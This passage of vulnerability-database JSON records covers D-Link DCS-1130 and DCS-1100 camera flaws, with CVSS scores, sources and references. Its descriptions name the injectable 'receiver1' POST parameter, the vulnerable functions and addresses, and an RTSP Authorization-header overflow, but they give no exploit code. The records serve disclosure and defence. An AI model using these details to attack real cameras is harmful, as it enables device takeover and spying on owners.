"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-285",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116612"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"date": "2019-07-02T20:15:11.043000",
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116612"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"date": "2024-11-21T03:33:58.840000",
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Authorization vulnerabilities in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "authorization issue",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
}
],
"trust": 0.6
}
}
var-201907-1064
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x0008F598 which calls the "mailLoginTest" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue. D-Link DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A command injection vulnerability exists in the Video feature in the D-LinkDCS-1130. An attacker could exploit the vulnerability to control the device and execute arbitrary code. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1064",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8404",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8404",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-21077",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-116607",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8404",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8404",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8404",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-8404",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2019-21077",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-130",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-116607",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8404",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x0008F598 which calls the \"mailLoginTest\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue. D-Link DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A command injection vulnerability exists in the Video feature in the D-LinkDCS-1130. An attacker could exploit the vulnerability to control the device and execute arbitrary code. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "VULMON",
"id": "CVE-2017-8404"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8404",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-130",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21077",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116607",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8404",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"id": "VAR-201907-1064",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
}
],
"trust": 1.3122449
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
}
]
},
"last_update_date": "2024-11-23T21:37:04.949000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "DCS-1130",
"trust": 0.8,
"url": "https://eu.dlink.com/uk/en/products/dcs-1130-wireless-n-network-camera"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-77",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.4,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/77.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"db": "VULHUB",
"id": "VHN-116607"
},
{
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116607"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"date": "2019-07-02T19:15:10.413000",
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21077"
},
{
"date": "2019-07-08T00:00:00",
"db": "VULHUB",
"id": "VHN-116607"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8404"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014551"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-130"
},
{
"date": "2024-11-21T03:33:58.043000",
"db": "NVD",
"id": "CVE-2017-8404"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Command injection vulnerability in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014551"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-130"
}
],
"trust": 0.6
}
}
var-201907-1070
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the "Authorization: Basic" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer error vulnerability exists in the RTSPD in the D-LinkDCS-1100 and DCS-1130. The attacker can use this vulnerability to fully control the device and view images taken by the camera. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1070",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21250"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
},
{
"db": "NVD",
"id": "CVE-2017-8410"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014554"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
